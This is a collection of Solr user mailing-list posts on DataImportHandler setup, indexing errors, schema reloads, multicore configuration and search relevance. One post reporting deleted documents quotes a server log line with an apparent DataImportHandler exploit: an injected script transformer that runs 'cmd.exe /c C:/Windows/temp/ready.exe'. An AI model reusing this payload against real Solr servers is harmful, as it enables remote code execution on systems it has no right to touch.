DIH Issue(newbie to solr)
I am a newbie to solr I have an issue with DIH but unable to pinpoint what is causing the issue. I am using the demo jetty installation of Solr and tried to create a project with new schema.xml, solrconfig.xml and data-config.xml files. when I run "http://131.187.88.221:8983/solr/dataimport?command=full-import"; this is what I get: I am unable to index documents(it doesn't throw any error though). ## − 0 0 − − test-data-config.xml full-import idle − 0 1 0 2011-03-17 17:07:18 − Indexing completed. Added/Updated: 0 documents. Deleted 0 documents. 2011-03-17 17:07:18 2011-03-17 17:07:18 0 0:0:0.119 − This response format is experimental. It is likely to change in the future. # I do not find any log files(except on the console). And here are the messages from the console: ### INFO: Starting Full Import Mar 17, 2011 5:08:20 PM org.apache.solr.handler.dataimport.SolrWriter readIndexerProperties INFO: Read dataimport.properties Mar 17, 2011 5:08:20 PM org.apache.solr.update.DirectUpdateHandler2 deleteAll INFO: [] REMOVING ALL DOCUMENTS FROM INDEX Mar 17, 2011 5:08:20 PM org.apache.solr.core.SolrDeletionPolicy onInit INFO: SolrDeletionPolicy.onInit: commits:num=1 commit{dir=/local/home/neha/ruby/Solr/apache-solr-1.4.1/example/solr/data/index,segFN=segments_k,version=1300286691490,generation=20,filenames=[segments_k] Mar 17, 2011 5:08:20 PM org.apache.solr.core.SolrDeletionPolicy updateCommits INFO: newest commit = 1300286691490 Mar 17, 2011 5:08:20 PM org.apache.solr.handler.dataimport.DocBuilder finish INFO: Import completed successfully Mar 17, 2011 5:08:20 PM org.apache.solr.update.DirectUpdateHandler2 commit INFO: start commit(optimize=true,waitFlush=false,waitSearcher=true,expungeDeletes=false) Mar 17, 2011 5:08:20 PM org.apache.solr.core.SolrDeletionPolicy onCommit INFO: SolrDeletionPolicy.onCommit: commits:num=2 commit{dir=/local/home/neha/ruby/Solr/apache-solr-1.4.1/example/solr/data/index,segFN=segments_k,version=1300286691490,generation=20,filenames=[segments_k] commit{dir=/local/home/neha/ruby/Solr/apache-solr-1.4.1/example/solr/data/index,segFN=segments_l,version=1300286691491,generation=21,filenames=[segments_l] Mar 17, 2011 5:08:20 PM org.apache.solr.core.SolrDeletionPolicy updateCommits INFO: newest commit = 1300286691491 Mar 17, 2011 5:08:20 PM org.apache.solr.search.SolrIndexSearcher INFO: Opening Searcher@d1329 main Mar 17, 2011 5:08:20 PM org.apache.solr.search.SolrIndexSearcher warm INFO: autowarming Searcher@d1329 main from Searcher@1dcc2a3 main fieldValueCache{lookups=0,hits=0,hitratio=0.00,inserts=0,evictions=0,size=8,warmupTime=0,cumulative_lookups=0,cumulative_hits=0,cumulative_hitratio=0.00,cumulative_inserts=0,cumulative_evictions=0,item_subject_topic_facet={field=subject_topic_facet,memSize=4224,tindexSize=32,time=0,phase1=0,nTerms=0,bigTerms=0,termInstances=0,uses=2},item_subject_geo_facet={field=subject_geo_facet,memSize=4224,tindexSize=32,time=0,phase1=0,nTerms=0,bigTerms=0,termInstances=0,uses=2},item_subject_era_facet={field=subject_era_facet,memSize=4224,tindexSize=32,time=0,phase1=0,nTerms=0,bigTerms=0,termInstances=0,uses=2},item_pub_date={field=pub_date,memSize=4224,tindexSize=32,time=0,phase1=0,nTerms=0,bigTerms=0,termInstances=0,uses=2},item_language_facet={field=language_facet,memSize=4224,tindexSize=32,time=0,phase1=0,nTerms=0,bigTerms=0,termInstances=0,uses=2},item_lc_b4cutter_facet={field=lc_b4cutter_facet,memSize=4224,tindexSize=32,time=0,phase1=0,nTerms=0,bigTerms=0,termInstances=0,uses=2},item_lc_alpha_facet={field=lc_alpha_facet,memSize=4224,tindexSize=32,time=0,phase1=0,nTerms=0,bigTerms=0,termInstances=0,uses=2},item_lc_1letter_facet={field=lc_1letter_facet,memSize=4224,tindexSize=32,time=0,phase1=0,nTerms=0,bigTerms=0,termInstances=0,uses=2}} Mar 17, 2011 5:08:20 PM org.apache.solr.search.SolrIndexSearcher warm INFO: autowarming result for Searcher@d1329 main fieldValueCache{lookups=0,hits=0,hitratio=0.00,inserts=0,evictions=0,size=0,warmupTime=0,cumulative_lookups=0,cumulative_hits=0,cumulative_hitratio=0.00,cumulative_inserts=0,cumulative_evictions=0} Mar 17, 2011 5:08:20 PM org.apache.solr.search.SolrIndexSearcher warm INFO: autowarming Searcher@d1329 main from Searcher@1dcc2a3 main filterCache{lookups=0,hits=0,hitratio=0.00,inserts=0,evictions=0,size=2,warmupTime=0,cumulative_lookups=0,cumulative_hits=0,cumulative_hitratio=0.00,cumulative_inserts=0,cumulative_evictions=0} Mar 17, 2011 5:08:20 PM org.apache.solr.search.SolrIndexSearcher warm INFO: autowarming result for Searcher@d1329 main filterCache{lookups=0,hits=0,hitratio=0.00,inserts=0,evictions=0,size=2,warmupTime=0,cumulative_lookups=0,cumulative_hits=0,cumulative_hitratio=0.00,cumulative_inserts=0,cumulative_evictions=0} Mar 17, 2011 5:08:20 PM org.apache.solr.search.SolrIndexSearcher warm INFO: autowarming Searcher@d1329 main from Searcher@1dcc2a3 main q
Re: DIH Issue(newbie to solr)
subject_geo_facet={field=subject_geo_facet,memSize=4224,tindexSize=32,time=0,phase1=0,nTerms=0,bigTerms=0,termInstances=0,uses=2},item_subject_era_facet={field=subject_era_facet,memSize=4224,tindexSize=32,time=0,phase1=0,nTerms=0,bigTerms=0,termInstances=0,uses=2},item_pub_date={field=pub_date,memSize=4224,tindexSize=32,time=0,phase1=0,nTerms=0,bigTerms=0,termInstances=0,uses=2},item_language_facet={field=language_facet,memSize=4224,tindexSize=32,time=0,phase1=0,nTerms=0,bigTerms=0,termInstances=0,uses=2},item_lc_b4cutter_facet={field=lc_b4cutter_facet,memSize=4224,tindexSize=32,time=0,phase1=0,nTerms=0,bigTerms=0,termInstances=0,uses=2},item_lc_alpha_facet={field=lc_alpha_facet,memSize=4224,tindexSize=32,time=0,phase1=0,nTerms=0,bigTerms=0,termInstances=0,uses=2},item_lc_1letter_facet={field=lc_1letter_facet,memSize=4224,tindexSize=32,time=0,phase1=0,nTerms=0,bigTerms=0,termInstances=0,uses=2}} filterCache{lookups=0,hits=0,hitratio=0.00,inserts=0,evictions=0,size=2,warmupTime=0,cumulative_lookups=0,cumulative_hits=0,cumulative_hitratio=0.00,cumulative_inserts=0,cumulative_evictions=0} queryResultCache{lookups=0,hits=0,hitratio=0.00,inserts=2,evictions=0,size=2,warmupTime=0,cumulative_lookups=0,cumulative_hits=0,cumulative_hitratio=0.00,cumulative_inserts=0,cumulative_evictions=0} documentCache{lookups=0,hits=0,hitratio=0.00,inserts=0,evictions=0,size=0,warmupTime=0,cumulative_lookups=0,cumulative_hits=0,cumulative_hitratio=0.00,cumulative_inserts=0,cumulative_evictions=0} Mar 17, 2011 5:08:20 PM org.apache.solr.update.DirectUpdateHandler2 commit INFO: end_commit_flush Mar 17, 2011 5:08:20 PM org.apache.solr.handler.dataimport.SolrWriter readIndexerProperties INFO: Read dataimport.properties Mar 17, 2011 5:08:20 PM org.apache.solr.handler.dataimport.SolrWriter persist INFO: Wrote last indexed time to dataimport.properties Mar 17, 2011 5:08:20 PM org.apache.solr.handler.dataimport.DocBuilder execute INFO: Time taken = 0:0:0.24 ## Thanks, Neha -- View this message in context: http://lucene.472066.n3.nabble.com/DIH-Issue-newbie-to-solr-tp2695407p2699042.html Sent from the Solr - User mailing list archive at Nabble.com.
Re: DIH Issue(newbie to solr)
The path is correct and also the base dir points to the list of .xml files not just a single file. This is the link to the xml file: http://pastebin.com/7EzRUj9L Thanks, Neha -- View this message in context: http://lucene.472066.n3.nabble.com/DIH-Issue-newbie-to-solr-tp2695407p2704182.html Sent from the Solr - User mailing list archive at Nabble.com.
Re: DIH Issue(newbie to solr)
Hi Gora, The absolute path solved the issue, but in a weird situation though. The index files are being written to /example/solr/data/index instead of .example/test/solr/data/index. I run start jetty with ./test/solr/ as home would you know why this is happening. PS: While starting with creating anew project /test/solr/ I copied the data directory from /example/solr/data/index. DO you think that is causing an issue, if yes what needs to be changed. Thanks, Neha -- View this message in context: http://lucene.472066.n3.nabble.com/DIH-Issue-newbie-to-solr-tp2695407p2710560.html Sent from the Solr - User mailing list archive at Nabble.com.
Re: DIH Issue(newbie to solr)
Thanks Gora...it works.. Thanks again..:) Neha -- View this message in context: http://lucene.472066.n3.nabble.com/DIH-Issue-newbie-to-solr-tp2695407p2710864.html Sent from the Solr - User mailing list archive at Nabble.com.
Re: DIH Issue(newbie to solr)
Thanks Gora it works..!!! Thanks again. One last question, the documents get indexed well and all but when I issue full-import command it still says Total Requests made to DataSource 0 Would you know why this could happen. Neha -- View this message in context: http://lucene.472066.n3.nabble.com/DIH-Issue-newbie-to-solr-tp2695407p2710876.html Sent from the Solr - User mailing list archive at Nabble.com.
Concatenate multivalued DIH fields
I have two multivalued DIH fields "fname" and "lname". I want to concatenate each of the fname and lname pairs to get a third multivalued DIH field "name". I tried this : But the result is : [Lars L., Helle K., Thomas A., Jes] [Thomsen, Iversen, Brinck, Olesen], instead of Lars L. Thomsen, Helle K. Iverson, Thomas A Brinck, Jes Oleson. Is there a way to iterate through the multivalued fields or is there something more simple to do this. Thanks, Neha -- View this message in context: http://lucene.472066.n3.nabble.com/Concatenate-multivalued-DIH-fields-tp2749988p2749988.html Sent from the Solr - User mailing list archive at Nabble.com.
Re: Concatenate multivalued DIH fields
Thank you for ur reply, but is there more documentation on Script Transformer?? I am newbie to Solr DIH. Can I send two rows as parameters to the script transformer function. Also what is the syntax to call the script transformer in the DIH field?? The documentation is not very clear about it. Thanks, Neha -- View this message in context: http://lucene.472066.n3.nabble.com/Concatenate-multivalued-DIH-fields-tp2749988p2750237.html Sent from the Solr - User mailing list archive at Nabble.com.
Re: DIH with XML question.
make sure the field "email" is multivalued in schema.xml file Neha -- View this message in context: http://lucene.472066.n3.nabble.com/DIH-with-XML-question-tp2750288p2750416.html Sent from the Solr - User mailing list archive at Nabble.com.
Re: Concatenate multivalued DIH fields
HI, when i tried to use template transformer, it concatenates the entire multivalued field with other, not each element of the multivalued fields. [Lars L., Helle K., Thomas A., Jes] [Thomsen, Iversen, Brinck, Olesen], instead of Lars L. Thomsen, Helle K. Iverson, Thomas A Brinck, Jes Oleson. Regarding the script transformer function, it should be able to take the two multivalued rows as input and send the concatenated result out. I am not sure this is possible with script transformer. Please could you suggest an alternative. Thanks, Neha -- View this message in context: http://lucene.472066.n3.nabble.com/Concatenate-multivalued-DIH-fields-tp2749988p2753604.html Sent from the Solr - User mailing list archive at Nabble.com.
Re: Concatenate multivalued DIH fields
I am getting data from an xml file. If possible would you be able to guide me with a code snippet for script transformer for doing this(I am sorry if this very basic, I am a newbie to Solr). Thanks, Neha -- View this message in context: http://lucene.472066.n3.nabble.com/Concatenate-multivalued-DIH-fields-tp2749988p2753763.html Sent from the Solr - User mailing list archive at Nabble.com.
Re: Concatenate multivalued DIH fields
I wrote this snippet but get an exception -- View this message in context: http://lucene.472066.n3.nabble.com/Concatenate-multivalued-DIH-fields-tp2749988p2753910.html Sent from the Solr - User mailing list archive at Nabble.com.
Script Transformer question
How is a multivalued field in DIH config file passed to a Script Transformer function???To be more clear is it an array/string??? When I do var result=row.get('fieldname'), I am unable to apply any string manipulation functions on result. Thanks, Neha -- View this message in context: http://lucene.472066.n3.nabble.com/Script-Transformer-question-tp2754944p2754944.html Sent from the Solr - User mailing list archive at Nabble.com.
Re: Concatenate multivalued DIH fields
I would appreciate any help on this issue, I am unable to proceed without getting this solved. Thanks, Neha - Thanks, Neha -- View this message in context: http://lucene.472066.n3.nabble.com/Concatenate-multivalued-DIH-fields-tp2749988p2758485.html Sent from the Solr - User mailing list archive at Nabble.com.
Re: DIH Issue(newbie to solr)
Hello Gora, I have a new Issue: http://lucene.472066.n3.nabble.com/Concatenate-multivalued-DIH-fields-td2749988.html I haven't got enough help on this issue, Please could you advice me on solving this. Thanks, Neha - Thanks, Neha -- View this message in context: http://lucene.472066.n3.nabble.com/DIH-Issue-newbie-to-solr-tp2695407p2758500.html Sent from the Solr - User mailing list archive at Nabble.com.
Re: Concatenate multivalued DIH fields
Hi, When there are multiple authors instead of concatenating, it append list of last names after the first names. Vincent White Bakken Sjaastad Maurice B. Linda R. Inger Johanne Ottar Thanks, Neha - Thanks, Neha -- View this message in context: http://lucene.472066.n3.nabble.com/Concatenate-multivalued-DIH-fields-tp2749988p2760520.html Sent from the Solr - User mailing list archive at Nabble.com.
Problem while indexing DATE field in SOLR.
Dear SOLR Team, I am using SOLR 6.6.0 version for indexing data stored in the POSTGRESQL database. I am facing an issue and needs your help Below is the snapshot of the table i am trying to index: - Steps followed for indexing DATETIMELOG field in above table: - 1) First i created field of type "text" and indexed DATETIMELOG in it. All goes OK and search is possible though it is treated as text which is natural. 2) Change field type to "date" and re-index all database again without restarting the SOLR. All goes OK and search is possible and in SOLR browse interface date is shown in UTC format which is fine After this i restarted SOLR and tried to re-index again but now i get below warning and SOLR documents are not getting created. *org.apache.solr.common.SolrException: Invalid Date String:'2017-12-28 18:50:04.6'* I tried searching for this problem on internet but not able to find any solution. I request you to please help me with this (may be some more configuration is required which i am not aware of) and let me know in case any other information is required from side. Thanks and Regards Neha Gupta
URGENT Documents automatically getting deleted in SOLR 6.6.0
Hello SOLR Users, Today i have noticed that in my SOLR instance 6.6.0 documents are getting automatically deleted. In SOLR traces i found below lines and seems it is because of this. 2019-09-26 09:01:21.599 INFO (qtp225493257-14) [ x:Ecotron] o.a.s.c.S.Request [xyz] webapp=/solr path=/dataimport params={cmd.exe+/c+C:/Windows/temp/ready.exe");%0a++}%0a++]]>%0a++%0ahttps://stackoverflow.com/feeds/tag/solr"%0aprocessor%3D"XPathEntityProcessor"%0aforEach%3D"/feed"%0atransformer%3D"script:poc"+/>%0a++%0a=&core=atom&debug=true&indent=on&commit=true&name=dataimport&dataConfig=%0a++%0a++
Unsubscribe me
Unsubscribe me
search result not correct in solr
Hi I am trying to search with word Ribbing and i am also getting those result which have R-B or RB letter in their dsecription but when i am trying to search with Ribbin i m getting correct result...not getting any clue what to use in my solr schema.xml. Any guidance will be helpful. Thanks -- View this message in context: http://lucene.472066.n3.nabble.com/search-result-not-correct-in-solr-tp4133841.html Sent from the Solr - User mailing list archive at Nabble.com.
Re: Issue with solr searching : words with "-" not able to search
same issue with my search result also and i have used solr.Textfield for this -- View this message in context: http://lucene.472066.n3.nabble.com/Issue-with-solr-searching-words-with-not-able-to-search-tp4128549p4133845.html Sent from the Solr - User mailing list archive at Nabble.com.
Re: search result not correct in solr
Thanks Alexandre..but still that doesn't help me I am doing keyword search for word "Ribbing" and i am getting those products also which have "R-B" or "RB" word in some other field.But when i am doing search for "Ribbin" i am getting correct search results. My field type is textfield.Please find below my schema.xml -- View this message in context: http://lucene.472066.n3.nabble.com/search-result-not-correct-in-solr-tp4133841p4133848.html Sent from the Solr - User mailing list archive at Nabble.com.
Sorting is not correct in autosuggest
Hi All In my auto suggest page sorting is not correct for the suggestions i am getting. However suggestions are all correct. Any guidance will be helpful -- View this message in context: http://lucene.472066.n3.nabble.com/Sorting-is-not-correct-in-autosuggest-tp4133859.html Sent from the Solr - User mailing list archive at Nabble.com.
Re: search result not correct in solr
Hello Alex Yes I reindex completely. I am new to solr so donot have much idea of all the filters.Can u suggest some filters which i can try? -- View this message in context: http://lucene.472066.n3.nabble.com/search-result-not-correct-in-solr-tp4133841p4133861.html Sent from the Solr - User mailing list archive at Nabble.com.
numfound in solr
Hi I ran indexing and my total rows fetched is 1736789 but my numfound in solr indexed url 638169. What could be the possible reason?? -- View this message in context: http://lucene.472066.n3.nabble.com/numfound-in-solr-tp4164169.html Sent from the Solr - User mailing list archive at Nabble.com.
Doc Transformer with SolrDocumentList object
I am trying to modify the results of solr output . basically I need to change the ranking of the output of solr for a query. So please can anyone help. I wrote a java code that returns the SolrDocumentList object which is a union of the results I want this object to be displayed on solr. hats is once the query is hit. The solr runs the java code i wrote and the output returned in the java code gets as a output to the screen . I have tried to use the code as a data transformer. But I am getting this error: org.apache.solr.handler.dataimport.SolrWriter upload WARNING: Error creating document : SolrInputDocument[id=44, category=Apparel & Fash Accessories, _version_=1431753044032225280, price=ERROR:SCHEMA-INDEX-MISMATC H,stringValue=1400, description=for girls, brand=Wrangler, price_c=1400,USD, siz e=ERROR:SCHEMA-INDEX-MISMATCH,stringValue=12] org.apache.solr.common.SolrException: version conflict for 44 expected=143175304 4032225280 actual=-1 Please can anyone help ?
write own query analyser
hi all, I need to analyse the query sent to solr . I need to parse the query through a pipline made through uima. can anyone help me understand , how do i do this. I have already created an Aggregate Analyzer in uima, now needs to run a solr input query through this, to increase relevancy in output. if this is already done, then please direct me to any link. Thanks in advance, Neha Yadav
Error setting up SOLR with Tomcat on Windows
Dear Sir, I am not able to files to SOLR using post.jar. I am getting the following message. I get 0 results upon querying:- C:\Developer\solr-4.1.0\example\exampledocs>java -Durl=/update -jar post.jar *.xml SimplePostTool version 1.5 Posting files to base url /solr/updat e using content-type application/xml.. POSTing file gb18030-example.xml SimplePostTool: WARNING: Solr returned an error #302 Found POSTing file hd.xml SimplePostTool: WARNING: Solr returned an error #302 Found POSTing file ipod_other.xml SimplePostTool: WARNING: Solr returned an error #302 Found POSTing file ipod_video.xml SimplePostTool: WARNING: Solr returned an error #302 Found POSTing file manufacturers.xml SimplePostTool: WARNING: Solr returned an error #302 Found POSTing file mem.xml SimplePostTool: WARNING: Solr returned an error #302 Found POSTing file money.xml SimplePostTool: WARNING: Solr returned an error #302 Found POSTing file monitor.xml SimplePostTool: WARNING: Solr returned an error #302 Found POSTing file monitor2.xml SimplePostTool: WARNING: Solr returned an error #302 Found POSTing file mp500.xml SimplePostTool: WARNING: Solr returned an error #302 Found POSTing file sd500.xml SimplePostTool: WARNING: Solr returned an error #302 Found POSTing file solr.xml SimplePostTool: WARNING: Solr returned an error #302 Found POSTing file utf8-example.xml SimplePostTool: WARNING: Solr returned an error #302 Found POSTing file vidcard.xml SimplePostTool: WARNING: Solr returned an error #302 Found 14 files indexed. COMMITting Solr index changes to /update.. SimplePostTool: WARNING: Solr returned an error #302 Found for url /update?commit=true Please find attached the error report upon clicking / collection1/browse -- Sent from Gmail Mobile
Re: Error setting up SOLR with Tomcat on Windows
Dear Gora Mohanty, I am not using literally. I am using the localhost url slash solr. On Monday, January 28, 2013, Gora Mohanty wrote: > On 28 January 2013 15:30, Neha Jatav wrote: > [...] >> I am not able to files to SOLR using post.jar. I am getting the following >> message. I get 0 results upon querying:- >> >> >> >> C:\Developer\solr-4.1.0\example\exampledocs>java -Durl=/update >> -jar post.jar *.xml > [...] > > Please read and follow the instructions in example/README.txt > under the top-level of a Solr distribution for how to index documents > using post.jar. Here, is a path like http://localhost:8983/solr/ > (assuming you are using the built-in Jetty container) and not a > literal value, and you should not actually need -Durl=... > > Regards, > Gora > -- Sent from Gmail Mobile
Re: Error setting up SOLR with Tomcat on Windows
(a) I am not using jetty, I am using tomcat as mentioned in the subject line (b) I am using some other port number and that I have included in the url On Monday, January 28, 2013, Gora Mohanty wrote: > On 28 January 2013 16:11, Neha Jatav wrote: >> Dear Gora Mohanty, >> >> I am not using literally. I am using the localhost url slash >> solr. > > Again, please read the documentation. As mentioned earlier: (a) You > do not need -Durl=... if using built-in Jetty, (b) and the URL should include > the 8983 port number. > > Regards, > Gora > -- Sent from Gmail Mobile
Re: Error setting up SOLR with Tomcat on Windows
Got it! There's an authenticator with the tomcat and the cookies are missing when I do an update. Thanks all. On Monday, January 28, 2013, Stefan Matheis wrote: > Neha > > One thing that made me think is the line "SimplePostTool: WARNING: Solr returned an error #302 Found" - Status Code 302 is no real error .. it's a forward/redirect to another url. so, you want to check the used url with curl/wget/or maybe even a normal browser, to see where it gets redirected? > > Stefan > > > On Monday, January 28, 2013 at 12:58 PM, Neha Jatav wrote: > >> (a) I am not using jetty, I am using tomcat as mentioned in the subject line >> (b) I am using some other port number and that I have included in the url >> >> On Monday, January 28, 2013, Gora Mohanty wrote: >> > On 28 January 2013 16:11, Neha Jatav wrote: >> > > Dear Gora Mohanty, >> > > >> > > I am not using literally. I am using the localhost url slash >> > > solr. >> > >> > >> > >> > Again, please read the documentation. As mentioned earlier: (a) You >> > do not need -Durl=... if using built-in Jetty, (b) and the URL should >> >> >> include >> > the 8983 port number. >> > >> > Regards, >> > Gora >> >> >> >> -- >> Sent from Gmail Mobile > > > > -- Sent from Gmail Mobile
sql tables to XML(indexing SQL tables)
I have just starting using solr and with the help of documentation available I can't figure out if Is there any way with which I can convert SQL data into XML so that I can index them in solr. Can anyone help me on that. DISCLAIMER == This e-mail may contain privileged and confidential information which is the property of Persistent Systems Ltd. It is intended only for the use of the individual or entity to which it is addressed. If you are not the intended recipient, you are not authorized to read, retain, copy, print, distribute or use this message. If you have received this communication in error, please notify the sender and delete all copies of this message. Persistent Systems Ltd. does not accept any liability for virus infected mails.
changing schema is dynamic or not
Hi, Every time I make any change in schema , I have to restart the server. Is this because I have made some mistake or It is like this only I mean, I have this doubt that if we make any kind of changes to schema.xml , do we need to restart the server or we can continue without restarting the server. DISCLAIMER == This e-mail may contain privileged and confidential information which is the property of Persistent Systems Ltd. It is intended only for the use of the individual or entity to which it is addressed. If you are not the intended recipient, you are not authorized to read, retain, copy, print, distribute or use this message. If you have received this communication in error, please notify the sender and delete all copies of this message. Persistent Systems Ltd. does not accept any liability for virus infected mails.
RE: changing schema is dynamic or not
Is there any way by which this can be avoided. -Original Message- From: Noble Paul നോബിള് नोब्ळ् [mailto:[EMAIL PROTECTED] Sent: Thursday, December 04, 2008 3:12 PM To: solr-user@lucene.apache.org Subject: Re: changing schema is dynamic or not you have to restart the server You may also need to re-index the data if the changes are incompatible On Thu, Dec 4, 2008 at 3:09 PM, Neha Bhardwaj <[EMAIL PROTECTED]> wrote: > Hi, > > Every time I make any change in schema , I have to restart the server. Is > this because I have made some mistake or It is like this only > > > > I mean, > > I have this doubt that if we make any kind of changes to schema.xml , do we > need to restart the server or we can continue without restarting the server. > > > > > > > > > > > DISCLAIMER > == > This e-mail may contain privileged and confidential information which is the > property of Persistent Systems Ltd. It is intended only for the use of the > individual or entity to which it is addressed. If you are not the intended > recipient, you are not authorized to read, retain, copy, print, distribute or > use this message. If you have received this communication in error, please > notify the sender and delete all copies of this message. Persistent Systems > Ltd. does not accept any liability for virus infected mails. > -- --Noble Paul DISCLAIMER == This e-mail may contain privileged and confidential information which is the property of Persistent Systems Ltd. It is intended only for the use of the individual or entity to which it is addressed. If you are not the intended recipient, you are not authorized to read, retain, copy, print, distribute or use this message. If you have received this communication in error, please notify the sender and delete all copies of this message. Persistent Systems Ltd. does not accept any liability for virus infected mails.
RE: changing schema is dynamic or not
Could you brief ,What exactly I need to do? -Original Message- From: Noble Paul നോബിള് नोब्ळ् [mailto:[EMAIL PROTECTED] Sent: Thursday, December 04, 2008 3:47 PM To: solr-user@lucene.apache.org Subject: Re: changing schema is dynamic or not It is possible you can reload a core through the http API but if the changes are incompatible you will have to re-index the data On Thu, Dec 4, 2008 at 3:16 PM, Neha Bhardwaj <[EMAIL PROTECTED]> wrote: > Is there any way by which this can be avoided. > > -Original Message- > From: Noble Paul നോബിള് नोब्ळ् [mailto:[EMAIL PROTECTED] > Sent: Thursday, December 04, 2008 3:12 PM > To: solr-user@lucene.apache.org > Subject: Re: changing schema is dynamic or not > > you have to restart the server > > You may also need to re-index the data if the changes are incompatible > > On Thu, Dec 4, 2008 at 3:09 PM, Neha Bhardwaj > <[EMAIL PROTECTED]> wrote: >> Hi, >> >> Every time I make any change in schema , I have to restart the server. Is >> this because I have made some mistake or It is like this only >> >> >> >> I mean, >> >> I have this doubt that if we make any kind of changes to schema.xml , do we >> need to restart the server or we can continue without restarting the server. >> >> >> >> >> >> >> >> >> >> >> DISCLAIMER >> == >> This e-mail may contain privileged and confidential information which is the >> property of Persistent Systems Ltd. It is intended only for the use of the >> individual or entity to which it is addressed. If you are not the intended >> recipient, you are not authorized to read, retain, copy, print, distribute >> or use this message. If you have received this communication in error, >> please notify the sender and delete all copies of this message. Persistent >> Systems Ltd. does not accept any liability for virus infected mails. >> > > > > -- > --Noble Paul > > > DISCLAIMER > == > This e-mail may contain privileged and confidential information which is the > property of Persistent Systems Ltd. It is intended only for the use of the > individual or entity to which it is addressed. If you are not the intended > recipient, you are not authorized to read, retain, copy, print, distribute or > use this message. If you have received this communication in error, please > notify the sender and delete all copies of this message. Persistent Systems > Ltd. does not accept any liability for virus infected mails. > -- --Noble Paul DISCLAIMER == This e-mail may contain privileged and confidential information which is the property of Persistent Systems Ltd. It is intended only for the use of the individual or entity to which it is addressed. If you are not the intended recipient, you are not authorized to read, retain, copy, print, distribute or use this message. If you have received this communication in error, please notify the sender and delete all copies of this message. Persistent Systems Ltd. does not accept any liability for virus infected mails.
Multiple indexing
Is multiple indexing possible in solr? If yes, how? DISCLAIMER == This e-mail may contain privileged and confidential information which is the property of Persistent Systems Ltd. It is intended only for the use of the individual or entity to which it is addressed. If you are not the intended recipient, you are not authorized to read, retain, copy, print, distribute or use this message. If you have received this communication in error, please notify the sender and delete all copies of this message. Persistent Systems Ltd. does not accept any liability for virus infected mails.
jboss and solr
I am trying to configure jboss wih solr As stated in wiki docs I copied the solr.war but there is no web-apps folder currently present in jboss. So should I create web-apps manually and paste the war file there. I tried configuring solr with tomcat as well. I paste the war file in tomcat's web-apps folder. Now when I set system property solr.solr.home It raises an class not found exception. Can any one help me with that. DISCLAIMER == This e-mail may contain privileged and confidential information which is the property of Persistent Systems Ltd. It is intended only for the use of the individual or entity to which it is addressed. If you are not the intended recipient, you are not authorized to read, retain, copy, print, distribute or use this message. If you have received this communication in error, please notify the sender and delete all copies of this message. Persistent Systems Ltd. does not accept any liability for virus infected mails.
How to fetch all matching records :urgent
Hello, I am using getResults method of queryResponse class, on a keyword that has more than hundred of matching records. Bit this method returns me only 10 results. And then throw an array index out of bound exception. how can I fetch all the results? Its really important and urgent for me , kindly reply Neha Bhardwaj| Software Engineer | Persistent Systems Limited. <mailto:akshat_maheshw...@persistent.co.in> neha_bhard...@persistent.co.in | Cell: +91 9272383082 | Tel: +91 (20) 302 35257 DISCLAIMER == This e-mail may contain privileged and confidential information which is the property of Persistent Systems Ltd. It is intended only for the use of the individual or entity to which it is addressed. If you are not the intended recipient, you are not authorized to read, retain, copy, print, distribute or use this message. If you have received this communication in error, please notify the sender and delete all copies of this message. Persistent Systems Ltd. does not accept any liability for virus infected mails.
search on id value- in a range
Hi all, I wish to perform a search on the index ,based on a field called id(type:Integer). I want solr to return all the ids between a specified range. i.e. I need to fetch all records that have their id value between say 11-22 or say 55-60. Is there any provision to do it via solr admin interface or any ways without writing any code? Any kind of help will be appreciated .. Thanks and Regards, Neha Bhardwaj DISCLAIMER == This e-mail may contain privileged and confidential information which is the property of Persistent Systems Ltd. It is intended only for the use of the individual or entity to which it is addressed. If you are not the intended recipient, you are not authorized to read, retain, copy, print, distribute or use this message. If you have received this communication in error, please notify the sender and delete all copies of this message. Persistent Systems Ltd. does not accept any liability for virus infected mails.
multicore
Hi, I need to create multiple cores for my project. I need to know: how to have multiple cores ? can we start all cores from single startup file or we need to start all independently? I need a way by which I can start all of them in one go. Thanks Neha DISCLAIMER == This e-mail may contain privileged and confidential information which is the property of Persistent Systems Ltd. It is intended only for the use of the individual or entity to which it is addressed. If you are not the intended recipient, you are not authorized to read, retain, copy, print, distribute or use this message. If you have received this communication in error, please notify the sender and delete all copies of this message. Persistent Systems Ltd. does not accept any liability for virus infected mails.
FW: multicore
From: Neha Bhardwaj [mailto:neha_bhard...@persistent.co.in] Sent: Wednesday, April 01, 2009 6:52 PM To: 'solr-user@lucene.apache.org' Subject: multicore Hi, I need to create multiple cores for my project. I need to know: how to have multiple cores ? can we start all cores from single startup file or we need to start all independently? I need a way by which I can start all of them in one go. Thanks Neha DISCLAIMER == This e-mail may contain privileged and confidential information which is the property of Persistent Systems Ltd. It is intended only for the use of the individual or entity to which it is addressed. If you are not the intended recipient, you are not authorized to read, retain, copy, print, distribute or use this message. If you have received this communication in error, please notify the sender and delete all copies of this message. Persistent Systems Ltd. does not accept any liability for virus infected mails.
RE: FW: multicore
Hi, Thanks a lot ... But still I am not very clear with creating multiple cores. I read the document(wiki)but was not able to understand it properly. Also how to index data in particular core. Say.. we have core0 and core1 in multicore. How can I specify that on which core iwant to index data. Kindly help!! -Original Message- From: Marc Sturlese [mailto:marc.sturl...@gmail.com] Sent: Wednesday, April 01, 2009 8:06 PM To: solr-user@lucene.apache.org Subject: Re: FW: multicore >>how to have multiple cores ? You need a solr.xml file in the root of your solr home. In this solr.xml you will inicalize the cores. In this same folder you will have a folder per core with its /conf and /data. Every core has it's own solrconfig.xml and schema.xml. If you grap a nighlty build you will see a config example in there. Every thing is proper explained in the solr core wiki: http://wiki.apache.org/solr/CoreAdmin >>can we start all cores from single startup file or we need to start all >>independently? >>I need a way by which I can start all of them in one go. Once you have your cores configures in wour webapp, all of the will be loaded automatically when you start your server. Neha Bhardwaj wrote: > > > > > > From: Neha Bhardwaj [mailto:neha_bhard...@persistent.co.in] > Sent: Wednesday, April 01, 2009 6:52 PM > To: 'solr-user@lucene.apache.org' > Subject: multicore > > > > Hi, > > I need to create multiple cores for my project. > > I need to know: > > how to have multiple cores ? > > can we start all cores from single startup file or we need to start all > independently? > > I need a way by which I can start all of them in one go. > > > > > > Thanks > > Neha > > > DISCLAIMER > == > This e-mail may contain privileged and confidential information which is > the property of Persistent Systems Ltd. It is intended only for the use of > the individual or entity to which it is addressed. If you are not the > intended recipient, you are not authorized to read, retain, copy, print, > distribute or use this message. If you have received this communication in > error, please notify the sender and delete all copies of this message. > Persistent Systems Ltd. does not accept any liability for virus infected > mails. > > -- View this message in context: http://www.nabble.com/FW%3A-multicore-tp22827267p22827926.html Sent from the Solr - User mailing list archive at Nabble.com. DISCLAIMER == This e-mail may contain 